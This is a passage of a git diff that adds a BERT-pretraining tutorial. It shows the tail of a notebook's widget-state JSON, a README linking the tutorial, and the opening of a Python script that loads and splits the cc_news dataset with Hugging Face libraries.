+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7aa9b4e351a34a84a8aa6ad49aa5d74d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2f22301fd2984090be8adb6fe839e393",
+              "IPY_MODEL_98d3d993e19d4f448cbca02235a850ac",
+              "IPY_MODEL_8bec66cc71aa433ea55697d640988262"
+            ],
+            "layout": "IPY_MODEL_b45af68d650f445d97876e9b51d3f15a"
+          }
+        },
+        "89fdcc82f49f4ab2b498bb5d46f9b73b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8bec66cc71aa433ea55697d640988262": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6aa0294bb5b741f49883998b69accaba",
+            "placeholder": "",
+            "style": "IPY_MODEL_f6721fa0034043138705c565a4b77b77",
+            "value": " 4.38k/? [00:00<00:00, 82.1kB/s]"
+          }
+        },
+        "938c3b47fef24ad48b0ace7e7dcfcd80": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6c082c2cd59f483981b4839dff47e071",
+            "placeholder": "",
+            "style": "IPY_MODEL_62fe563ea6a74aa59833ce78423213da",
+            "value": " 71/71 [01:46<00:00,  1.42s/ba]"
+          }
+        },
+        "93b2d9dd8440496f8d1812993530dc05": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "98d3d993e19d4f448cbca02235a850ac": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_89fdcc82f49f4ab2b498bb5d46f9b73b",
+            "max": 1746,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_d34ef4b4dfb540e28f878df61f27ff26",
+            "value": 1746
+          }
+        },
+        "99bbccd66c66489b96470d3e9caf1f1f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9f7e7e08223343d5b78d5c2d8855640d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a77ad1702bf7439f87f7b1084d278717",
+            "max": 932,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_241cca42438046aea2a9b4874f37c8b1",
+            "value": 932
+          }
+        },
+        "a77ad1702bf7439f87f7b1084d278717": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b45af68d650f445d97876e9b51d3f15a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ba0b6327ac3740f79f66cb54d131f4fa": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bc97183430e34db4b073305ce07d6f41": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bce52428773848faba37e3a41747b4e9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bed4e885cf5d4b82a38833820b8e118f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4589cb842c7842ddb0e9bca6db71d590",
+              "IPY_MODEL_3748fb75842f4392b40fbfab0b7c9caa",
+              "IPY_MODEL_938c3b47fef24ad48b0ace7e7dcfcd80"
+            ],
+            "layout": "IPY_MODEL_f10afe04e61d4edeb33d8907a1192891"
+          }
+        },
+        "c082792cfdde4faab6bea631addceb00": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c082e56c91ce4bb4a4bb1e0b0001eaa2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "c73ea971834643fab70be84563d06f6a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fa06a799cfe8477a8e3a99a6dd99ca27",
+            "placeholder": "",
+            "style": "IPY_MODEL_d4d1386f42534f8584d0c1e0428bd65b",
+            "value": "Downloading data: 100%"
+          }
+        },
+        "cdcc3c356d91458ba4be2f1a8b41f9da": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7a3d34b2e76a4d4b8b14ac5aefb3883f",
+            "max": 708241,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ffd1f3803c154f68b9b921cfefc00604",
+            "value": 708241
+          }
+        },
+        "cfcf5950147d45e0bc3c8689b5b76073": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "d34ef4b4dfb540e28f878df61f27ff26": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "d4d1386f42534f8584d0c1e0428bd65b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d78152622ecf4f3da35756557a802251": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d84d85ce2d3f4dd491a44b97e653e175": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e33fa1b90e9947e8858db2ef44969e37": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e4be24ca306d4a5c8d4a8a1718225590": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e549c9c30ce44951b93b1f9d4d1cfca1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c082792cfdde4faab6bea631addceb00",
+            "placeholder": "",
+            "style": "IPY_MODEL_2e10e57221ef46d695eb16fd25ec5e49",
+            "value": "Downloading metadata: "
+          }
+        },
+        "f10afe04e61d4edeb33d8907a1192891": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f6363254e1fd40b88ec971851ad7e441": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f6721fa0034043138705c565a4b77b77": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fa06a799cfe8477a8e3a99a6dd99ca27": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ffd1f3803c154f68b9b921cfefc00604": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
\ No newline at end of file
diff --git a/machine-learning/nlp/pretraining-bert/README.md b/machine-learning/nlp/pretraining-bert/README.md
new file mode 100644
index 00000000..e8040d44
--- /dev/null
+++ b/machine-learning/nlp/pretraining-bert/README.md
@@ -0,0 +1,3 @@
+# [How to Pretrain BERT using Transformers in Python](https://www.thepythoncode.com/article/pretraining-bert-huggingface-transformers-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
diff --git a/machine-learning/nlp/pretraining-bert/pretrainingbert.py b/machine-learning/nlp/pretraining-bert/pretrainingbert.py
new file mode 100644
index 00000000..0e60ca68
--- /dev/null
+++ b/machine-learning/nlp/pretraining-bert/pretrainingbert.py
@@ -0,0 +1,223 @@
+# -*- coding: utf-8 -*-
+"""PretrainingBERT_PythonCodeTutorial.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+    https://colab.research.google.com/drive/1An1VNpKKMRVrwcdQQNSe7Omh_fl2Gj-2
+"""
+
+!pip install datasets transformers==4.18.0 sentencepiece
+
+from datasets import *
+from transformers import *
+from tokenizers import *
+import os
+import json
+
+# download and prepare cc_news dataset
+dataset = load_dataset("cc_news", split="train")
+
+# split the dataset into training (90%) and testing (10%)
+d = dataset.train_test_split(test_size=0.1)
+d["train"], d["test"]
+
+for t in d["train"]["text"][:3]:
+  print(t)
+  print("="*50)
+
+# if you have your custom dataset 
+# dataset = LineByLineTextDataset(
+#     tokenizer=tokenizer,
+#     file_path="path/to/data.txt",
+#     block_size=64,
+# )
+
+# or if you have huge custom dataset separated into files
+# load the splitted files
+# files = ["train1.txt", "train2.txt"] # train3.txt, etc.
+# dataset = load_dataset("text", data_files=files, split="train")
+
+# if you want to train the tokenizer from scratch (especially if you have custom
+# dataset loaded as datasets object), then run this cell to save it as files
+# but if you already have your custom data as text files, there is no point using this
+def dataset_to_text(dataset, output_filename="data.txt"):
+  """Utility function to save dataset text to disk,
+  useful for using the texts to train the tokenizer 
+  (as the tokenizer accepts files)"""
+  with open(output_filename, "w") as f:
+    for t in dataset["text"]:
+      print(t, file=f)
+
+# save the training set to train.txt
+dataset_to_text(d["train"], "train.txt")
+# save the testing set to test.txt
+dataset_to_text(d["test"], "test.txt")
+
+special_tokens = [
+  "[PAD]", "[UNK]", "[CLS]", "[SEP]", "[MASK]", "", ""
+]
